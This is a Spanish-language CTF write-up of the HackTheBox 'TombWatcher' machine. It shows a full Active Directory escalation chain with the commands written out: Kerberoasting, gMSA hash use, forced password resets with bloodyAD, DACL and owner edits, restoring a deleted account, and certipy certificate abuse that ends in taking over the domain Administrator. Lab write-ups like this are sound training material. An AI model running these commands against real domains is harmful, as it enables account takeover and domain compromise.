RODGAR
  • Whoami
  • HackTheBox
    • Hard
      • ⛔HackTheBox Vintage
    • Medium
      • HackTheBox Cascade
      • HackTheBox TombWatcher
      • Copy of HackTheBox TombWatcher
      • HackTheBox Monteverde
      • HackTheBox Resolute
      • HackTheBox Administrator
      • HackTheBox Escape
      • HackTheBox Authority
    • Easy
      • HackTheBox Active
      • HackTheBox Sauna
      • HackTheBox Support
      • HackTheBox Forest
      • HackTheBox Cicada
      • HackTheBox Timelapse
      • HackTheBox Return
  • CTF WRITEUP's
    • TryHackme
      • TryHackme 0day
      • TryHackme Daily Bugle
      • TryHackme Blog
      • TryHackme Year of the Owl
      • TryHackme Wgel CTF
      • TryHackme Chill Hack
      • TryHackme Wonderland
      • TryHackne OhSINT
      • TryHackme Cold VVars
      • TryHackme Dav
      • TryHackme RootMe
      • TryHackMe Basic Pentesting
      • TryHackMe Simple-CTF
      • TryHackMe Vulnversity
      • Tryhackme Kenobi
    • Burp Suite
      • 1️⃣SQL Ijections
        • Laboratorio Uno
        • Laboratorio Dos
        • Laboratorio Tres
        • Laboratorio Cuatro
        • Laboratorio Cinco
        • Laboratorio Seis
        • Laboratorio Siete
    • VulnHub
      • Inferno
      • Election
      • SYMFONOS 3
      • SYMFONOS 2
      • DJinn-3
      • Durian 1
      • DarkHole 2
      • OffSec DC-9
      • OffSec Potato
      • OffSec Pwned1
      • OffSec VIKINGS
      • OffSec Tre
      • OffSec MoneyBox
      • OffSec DEATHNOTE
      • OffSec Gaara
      • OffSec NoName
      • OffSec Katana
      • OffSec Sick0s
    • The Hackers Labs
      • The Hackers Labs Offensive
      • The Hackers Labs Resident
      • The Hacker Labs Base
      • The Hackers Labs Statue
      • The Hackers Labs Luna
      • The Hackers Labs Templo
      • The Hackers Labs GOIKO
      • The Hackers Labs Microsoft
    • Hackmyvm
      • Hackmyvm UP
    • Pivoting
      • Pivoting
      • Internal TryHackme
      • Basic /Doctor
      • Pluck /Brain
  • Privilege escalation
    • Abuso de grupos de usuario especiales
      • Docker
      • LXD
      • ADM
    • Abuso de permisos incorrectamente implementados
    • Detección y explotación de Capabilities
    • Tareas Crom
    • Path Hijacking
    • Abusando de privilegios a nivel de Sudoers
    • Abusando de privilegios SUID
    • Linux Privilege Escalation
  • Shared Files
    • Share Windows Linux
      • Compartir de entre Windows y Linux
      • Compartir de Windows a linux [Impacket-Server]
    • Share Linux
      • Compartir de linux en [PHP]
  • OWASP TOP 10
    • SQL Injections
    • XSS
    • XXE
    • Path traversal Lab
    • LFI con Wrappers
    • Log Poisoning (LFI -> RCE)
    • Server-Side Template Injection (SSTI)
    • Ataque de oráculo de relleno (Padding Oracle)
    • Inyecciones LaTeX
    • Ataques de transferencia de zona (AXFR – Full Zone Transfer)
    • Enumeración y explotación de WebDAV
    • ShellShock
    • Enumeración y explotación de SQUID Proxies
    • Insecure Direct Object Reference (IDORs)
    • Json Web Token
    • Intercambio de recursos de origen cruzado (CORS)
    • Abuso de subidas de archivos
      • Laboratorio 1
      • Laboratorio 2
      • Laboratorio 3
      • Laboratorio 4
      • Laboratorio 5
      • Laboratorio 6
      • Laboratorio 7
      • Laboratorio 8
      • Laboratorio 9
  • Group 1
    • Recursos
Con tecnología de GitBook
En esta página
  • Ldapsearch
  • Bloodhound
  • Bloodhound
  • BlodiAD
  • Acceso
  • Certipy-AD
  1. HackTheBox
  2. Medium

HackTheBox TombWatcher

Como es común en las pruebas de penetración de Windows en la vida real, iniciará el cuadro TombWatcher con las credenciales para la siguiente cuenta --> henry / H3nry_987TGV!

AnteriorHackTheBox CascadeSiguienteCopy of HackTheBox TombWatcher

Última actualización hace 7 días

Observamos los puertos abiertos en el Host.


Versiones y servicios que corren para cada puerto.


Ldapsearch

Verificamos el dominio y lo agregamos al /etc/hosts.


Bloodhound

Recolectamos toda la información (-c All) del dominio tombwatcher.htb usando el usuario henry para generar un ZIP compatible con BloodHound


El usuario HENRY@TOMBWATCHER.HTB tiene la capacidad de escribir en el atributo "serviceprincipalname" del usuario ALFRED@TOMBWATCHER.HTB.


Kerberoasting Attack

El comando impacket-GetUserSPNs se usa para enumerar los Service Principal Names (SPNs) en un dominio de Active Directory, lo cual puede revelar cuentas de usuario asociadas a servicios que son vulnerables a ataques de tipo Kerberoasting. En este caso, se está autenticando con el usuario henry del dominio tombwatcher.htb usando su contraseña (H3nry_987TGV!), con Kerberos (-k) y especificando el controlador de dominio (-dc-host). La opción -request descarga los tickets TGS, que luego pueden ser crackeados offline para obtener contraseñas.

Crackeamos el hash y obtenemos la contraseña del usuario ALFRED@TOMBWATCHER.HTB y ahora hemos se podria decir pivotado al usuario Alfred.


Bloodhound

Tenemos un camino mas claro de como llegar al DC01 Ahora.


El usuario ALFRED@TOMBWATCHER.HTB puede agregarse al grupo INFRASTRUCTURE@TOMBWATCHER.HTB. Gracias a la delegación del grupo de seguridad, los miembros de un grupo de seguridad tienen los mismos privilegios que ese grupo.

Al agregarse al grupo, ALFRED@TOMBWATCHER.HTB obtendrá los mismos privilegios que INFRASTRUCTURE@TOMBWATCHER.HTB.


ANSIBLE_DEV$@TOMBWATCHER.HTB es una Cuenta de Servicio Administrada por Grupo. El grupo INFRASTRUCTURE@TOMBWATCHER.HTB puede recuperar la contraseña de la GMSA ANSIBLE_DEV$@TOMBWATCHER.HTB.

Las Cuentas de Servicio Administradas por Grupo son un tipo especial de objeto de Active Directory, donde la contraseña de dicho objeto es administrada y cambiada automáticamente por los Controladores de Dominio a intervalos establecidos (consulte el atributo MSDS-ManagedPasswordInterval).

El propósito de una GMSA es permitir que ciertas cuentas de equipo recuperen la contraseña de la GMSA y luego ejecuten servicios locales como si fuera la GMSA. Un atacante con el control de una entidad principal autorizada podría abusar de ese privilegio para suplantar la identidad de la GMSA.

Se nos recomienda usar la siguiente herramienta.


BlodiAD

bloodyAD -u 'ansible_dev$' -p ':1c37d00093dc2a5f25176bf2d474afdc' -d tombwatcher.htb --dc-ip 10.10.11.72 set password sam 'Summer2024!'

Perfect hemos cambiado la contraseña del usuario sam exitosamente usando una cuenta de máquina (ansible_dev$) y su hash NTLM, lo cual sugiere que tienes privilegios elevados o hay una configuración insegura en el dominio.


impacket-owneredit -action write -target 'john' -new-owner 'sam' 'tombwatcher.htb'/'sam':'Summer2024!' -dc-ip 10.10.11.72

El usuario SAM@TOMBWATCHER.HTB puede modificar el propietario del usuario JOHN@TOMBWATCHER.HTB.

Los propietarios de objetos conservan la capacidad de modificar los descriptores de seguridad de los objetos, independientemente de los permisos en la DACL del objeto.

Hemos tomado control completo sobre john


dacledit.py -action write -rights FullControl -principal "sam" -target-dn "CN=john,CN=Users,DC=tombwatcher,DC=htb" 'tombwatcher.htb/sam:Summer2024!' -dc-ip 10.10.11.72

¡Perfecto! El mensaje:

cssCopiarEditar[*] DACL backed up to dacledit-20250608-172807.bak
[*] DACL modified successfully!

indica que la operación de modificar los permisos del objeto "CN=john,CN=Users,DC=tombwatcher,DC=htb" para darle FullControl a "sam" se realizó con éxito.


bloodyAD -d tombwatcher.htb -u 'sam' -p 'Summer2024!' --dc-ip 10.10.11.72 set password john 'NewPa$$word'

Ahora como el usuario sam tiene full control sobre el usuario john, como sam le cambiamos la contraseña al usuario john.


Acceso

Estamos dentro de la maquina y hemos obtenido la primera bandera.


Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects
Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
Enable-ADAccount -Identity cert_admin
Set-ADAccountPassword -Identity cert_admin -Reset -NewPassword (ConvertTo-SecureString "P@ssword123!" -AsPlainText -Force)

1- Listamos usuarios eliminados en AD

powershellCopiarEditarGet-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects
  • Muestra todos los objetos (usuarios, grupos, etc.) que están marcados como eliminados pero que aún están en la base de datos (en el contenedor Deleted Objects).

  • Estos objetos no están activos pero pueden ser recuperados si el AD tiene habilitado el Recycle Bin.


2- Restauramos un usuario eliminado

powershellCopiarEditarRestore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
  • Recupera el objeto borrado (en este caso, el usuario cert_admin) con ese ObjectGUID.

  • Lo mueve de nuevo al contenedor activo (CN=Users,...) y lo deja "visible" y activo en el dominio.


3. Habilitamos la cuenta restaurada

powershellCopiarEditarEnable-ADAccount -Identity cert_admin
  • Activa la cuenta, porque al estar borrada o deshabilitada, no puede usarse.

  • Esto permite que el usuario pueda iniciar sesión.


4. Cambiamo la contraseña de la cuenta

powershellCopiarEditarSet-ADAccountPassword -Identity cert_admin -Reset -NewPassword (ConvertTo-SecureString "P@ssword123!" -AsPlainText -Force)
  • Restablece la contraseña de la cuenta restaurada.

  • Usa una nueva contraseña en texto plano convertida a un formato seguro.

  • Esto es importante para asegurarte que puedes iniciar sesión con esa cuenta


Certipy-AD

Ahora con el usuario y contraseña restaurada buscamos certificados vulberables.


Comando 1: Solicitamos un certificado

bashCopiarEditarcertipy req -dc-ip 10.10.11.72 -ca 'tombwatcher-CA-1' -target-ip 10.10.11.72 -u cert_admin@tombwatcher.htb -p'P@ssword123!' -template WebServer -upn administrator@tombwatcher.htb -application-policies 'Client Authentication'
  • Solicita un certificado para el usuario administrator@tombwatcher.htb desde la CA tombwatcher-CA-1 en el DC 10.10.11.72.

  • Usa las credenciales de cert_admin.

  • Guarda el certificado y clave en administrator.pfx.

Comando 2: Nos Autenticamos con el certificado

bashCopiarEditarcertipy auth -pfx administrator.pfx -dc-ip 10.10.11.72 -ldap-shell
  • Usa el certificado administrator.pfx para autenticarse en el DC por LDAP.

  • Abre un shell LDAP con privilegios de administrador.

Acción dentro del shell:

bashCopiarEditarchange_password Administrator NewP@ssw0rd123
  • Cambia la contraseña del usuario Administrator.


Nos logueamos con las credenciales que hemos seteado en el paso anterior, y maquina resuelta, somos Administrador del sistema.

GitHub - micahvandeusen/gMSADumper: Lists who can read any gMSA password blobs and parses them if the current user has access.GitHub
Logo